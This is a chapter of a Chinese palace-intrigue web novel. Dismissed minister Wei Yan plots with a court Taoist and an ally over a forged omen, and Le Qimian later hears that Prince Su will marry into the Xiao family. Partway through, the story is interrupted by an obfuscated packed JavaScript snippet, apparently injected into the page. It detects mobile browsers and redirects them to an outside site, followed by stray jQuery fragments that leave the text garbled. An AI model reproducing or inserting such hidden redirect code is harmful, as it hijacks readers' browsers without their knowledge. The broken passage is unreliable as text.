立夏已至,宫道上细雨纷纷。魏衍被殿前司官兵带出瑞云殿后,缓步行过御街。
“魏相与徐泰相交多年,白马河之战时,便该看出徐泰办事不力,”杨芳道,“如今被拖下水,圣上如何能不怪您!”
魏衍望着雨幕中灰白的天色,不喜不悲:“欲杀曹病已时,喊的是魏卿,曹病已失势,唤的是魏朝宗。圣人之心,从无定数,仅此而已。”
杨芳对道圣的喜怒无常也算耳闻目睹。徐泰里通匪首一事放在曹病已掌权时,考虑到制衡之道,道圣不会轻易罢免魏衍。而今他一家独大,即便徐泰没有闯出祸端,道圣也会想方设法削夺相权。
兵马即将走出御街,一驾马车从后驶来,有人远远道:“魏相——”
马车在魏衍身侧停下,张守夷出现在窗后,见杨芳在一旁,恭声道:“暑热炎炎,此地又距太师府甚远,不必劳动殿帅,圣上让贫道代殿帅将魏相送回府中。”
道圣才遣殿前司将人押回太师府,没有朝令夕改的道理,除非情势有变。杨芳拱了拱手,识趣道:“那便有劳教主,我再遣几人送教主归府。”
禁卫与张守夷在御街分开,魏衍登上马车,却发现车内已坐有一人。
“魏相,”那人穿青蓝水纹袍,相貌清隽秀逸,合上窗扇,躬身行了一礼,“您请坐。”
魏衍道:“不必拘礼,一同坐,严主事。”
说话的人正是严洵。
自登基典礼刺杀傅厌辞失手,他便在府中疗养剑伤。接受伪帝之位本是大罪,有解玄与魏衍出面,他勉强保住性命,但从主事之位跌落泥潭。近日徐泰被杀的消息传到京中,才重新出来活动。
严洵退到一旁,张守夷上前,声音放轻:“魏相,贫道已按您的吩咐提点圣上,此计,当真奏效?”
张守夷须发雪白,道袍由银线织成,戴金丝莲花冠,端的是一派神清骨秀。
此时凑首魏衍身旁,谄媚尽显之态,与在宫内指点迷津的形象大相径庭,严洵微微一笑,缄口不言。
魏衍说:“自魏某将教主引荐入宫,可有一次,让教主空手而归?”
张守夷本是靠卖药为生的观中小道,因为能言善道,被引荐给魏衍。魏衍久知道圣迷信方术,见他能言善辩,也懂丹道药理,让他摇身一变,成了道圣身边的红人。
张守夷一听,连声解释:“魏相说的是,没有您,便没有今日的贫道。贫道不过怕计划出差错,引得圣上不满,绝无他意。”
魏衍道:“教主替魏某献策,若有差错,魏某身涉其中,难逃责罚。”
其实数日前,张守夷就听说了那则流言。起初,因为内容荒诞不经,他并未放在心上,直到听闻京中有人贩卖匪首的画像,才发觉风向不对。买来画像,亲自看过,才懂众人为何惊诧。
因为假画可以欺骗百姓,但他亲眼见过太皇太后,画中细节之还原,除了画师和他同样见过太皇太后,就只能是外形相似可以解释。
魏衍找到他,提起伪造祥瑞、以安民心的打算,他怕担责,再三拒绝。但耐不住他态度恳切,许下丰厚报酬,还是应下此事。
离宫路上,想到道圣寄予厚望,又想要魏衍一个承诺。现今目的达到,长松一口气,按捺不住喜悦:“多谢魏相提点,事成,贫道必在圣上面前为魏相美言!”
道圣虽然罢免了魏衍,但朝中没有比他更熟悉匪兵的人。众人都看得出,如果找不到接替者,魏衍迟早会重返政事堂。
张守夷将魏衍送到太师府后,严洵留在府中,待府门合拢,问:“伪造祥瑞的主意,是魏相所想?”
魏衍说:“若能想出这等剑走偏锋之法,倒也不错。可惜,魏某不懂神鬼之说。”
严洵笑了笑,了然于心:“原来是公主,不过她搅乱魏相在西北的谋划,魏相愿继续助她,严某有些意外。”
太师府的庭院中有座凉亭,仆从见二人到来,奉上瓜果点心。
两人落座后,魏衍道:“徐泰的事,迟早要捅到圣上面前。你知道揭发徐泰的信中,为何只字不提我与解玄?因公主离不得魏家,离不得解玄。助她,也是助己。”
只听过起兵的皇子,没见过造反的公主。乐绮眠与魏家婚约尚存,斗倒魏衍、解玄,对她没好处。
解玄被俘后,如要脱身,并非没有手段。正因为清楚,乐绮眠对付曹病已时只能倚仗乐家父子,未来对抗道圣,又必须借他拿到兵力,才接受她的条件。
凉亭旁是碧玉般的鱼池,严洵捻起把饵食,洒往池中:“魏相与教首如能在奉京汇合,她也能恢复公主之身,倒算两全其美。”
魏衍笑道:“恢复公主之身?解玄恐怕不会答应。”
可能因久居相位,积威甚重,魏衍笑起来没有和蔼可亲之感,反令人生畏。
严洵洒饵的动作顿了顿,状若寻常地问:“教首欲杀公主?”
魏衍说:“如果他想杀公主,公主已死过千百回。他与公主有叔侄之名,要迎娶她,不能让她恢复公主之身。”
过去,帮解玄招揽公主时,严洵只当对方需要公主提供助力,并未想过他有这层目的。也以为战事结束,双方便会返回各自轨道。
魏衍对这件事的冷静,让他暗暗心惊。好似乐绮眠不是个活生生的人,而是他与解玄随意安排的木偶。
“肃王对公主有不轨之心,”严洵松开饵食的瓷碗,不动声色,“得知此事,只怕会阻拦教首。”
魏衍说:“北苍近日有则轰动的风闻,刚从边境传回京中,严主事应当还未听说。”
严洵道:“魏相请说。”
“因为闻氏军粮案,肃王逼死了国相闻仲达,太子陈兵泽州,随时有一战。肃王兵力不足,在朝中根基不稳,将与萧家联姻,联手对抗太子,”魏衍抓了捧饵食,安然自若,“他自顾不暇,公主这边,怕是无心、也无意插手了。”
严洵初初听闻,没明白这意味着什么。看到魏衍的笑,才意识到渡过白马河后,乐绮眠看似占尽上风,可军队损失惨重,她的处境其实并未变好。
乐斯年立场依然成谜,再失去肃王臂助,即使帮解玄夺得皇位,她的路也只剩一条。
魏衍抛下那捧饵食,淡然地说:“没能忘掉那场宫变,在武安侯手下做个庸碌之辈,或许会是公主今生最后悔的决定。”
雪白的饵食落入池中,鱼群迅速涌了上来,将它分食得一干二净。
夏日的小雨落在池中,也掀不起涟漪,因为烈日炙烤着空气,雨丝在落下的瞬间,便化为雾水。
乐绮眠站在炊事营的营房中,听到帐外雨声,望向在灶前忙碌的御卫:“忙了这么久,不歇会儿?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147745|167077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
御卫说:“殿下说了,每日三荤两素,一样也不能少,属下不累,您去歇着吧。”
他是傅厌辞返回泽州时留下的人,从巳时忙到现在,做了一桌饭菜。从鲈鱼烩、金玉羹,到蜜煎金橘、雪泡豆儿水,荤素兼备,花样齐全,便是连吃三顿,也未必能用完。
两人蹲在门口低头扒饭,一高一矮。
乐斯年道:“我在侯府都没见过这种排场,肃王竟然要御卫日日做给她,你说这叫什么?”
丝萝夹起块鲈鱼:“昏庸。”
士兵咽下口热汤:“无道。”
乐绮眠:“......”
乐斯年被她注目,低咳一声:“穷奢极欲乃恶习,我等不该效仿,快去拿碗,不要浪费饭菜。”
乐绮眠拿起筷子,夹了些菜。乐斯年说没在侯府见过这种排场,并非玩笑。乐承邺极为节俭,只有逢年过节在府中设宴,三人行军作战的口粮,也与普通军官无异。
乐斯年给她夹菜:“你太瘦了,是该长长肉。”
乐绮眠有个坏毛病,便是不好好吃饭,经常糊弄了事。乐斯年一直没纠正过来,今日破天荒,见她将每道菜都尝了尝。
御卫说:“乐小姐觉得如何?”
乐绮眠笑道:“你有心了,不过饭菜的钱从何而来?你的月饷?”
御卫说:“走殿下的私账,属下的月钱没有这么多。”
乐绮眠猜测,御卫上回送来的衣裙头面,也走了傅厌辞的私账。顿顿这样做是笔惊人的开支,傅厌辞数度带兵赶赴岑州,消耗的粮草也不容小觑。
说到这里,乐斯年却来了气:“奉京被围时,征南军从国库讹走百万金银,肃王只怕拿了不少吧?这点都给不起,他也不必做这个亲王了。”
几人与御卫看似和睦,可傅厌辞曾助闻家父子围困奉京,也是事实。
国库来自税钱,自三年前两国议和,大梁每年向北苍输送百万缗钱。朝廷的支出不会减少,再次被劫走百万,就意味要从百姓身上榨取更多。
御卫果然沉默下来,良久才说:“无论如何,这都是殿下的心意。殿下是皇子,更是军人,服从军令是天职。乐小姐在军中多年,属下相信您能懂。”
乐绮眠给乐斯年舀了碗汤,无意谈论此事:“方才催我吃饭,现在自己又客气上了,闲话少叙,先将饭吃了。”
受人之惠,乐斯年原没有深究的打算,不过为将多年,对苍人始终有芥蒂。见她不想谈及,接过汤碗,也算了结这个话题。
但用完饭,准备寻帕子擦手,两名卫兵疾步入内,表情复杂地看了看乐绮眠,凑在他耳边,低语了几句。
“嘭!”
乐斯年刚放下的汤碗,掉落在地。他怒容毕现:“消息确凿?”
卫兵说:“闻家军都在传,错不了。”
乐绮眠看了过来,好奇道:“发生了何事?”
乐斯年拿帕子的手都在抖,不知受了惊吓,还是气愤过头,分外漠然:“你们来说。”
卫兵说:“小姐可知,因为闻氏军粮案,肃王逼死了国相闻仲达?太子扬言让肃王付出代价,增派兵马包围泽州。宿卫军指挥使萧蟠向肃王抛出诱饵,只要肃王迎娶萧氏女,就助他渡过难关。”
“肃王答应了。待国相的葬礼一过,就与萧家结为姻亲。”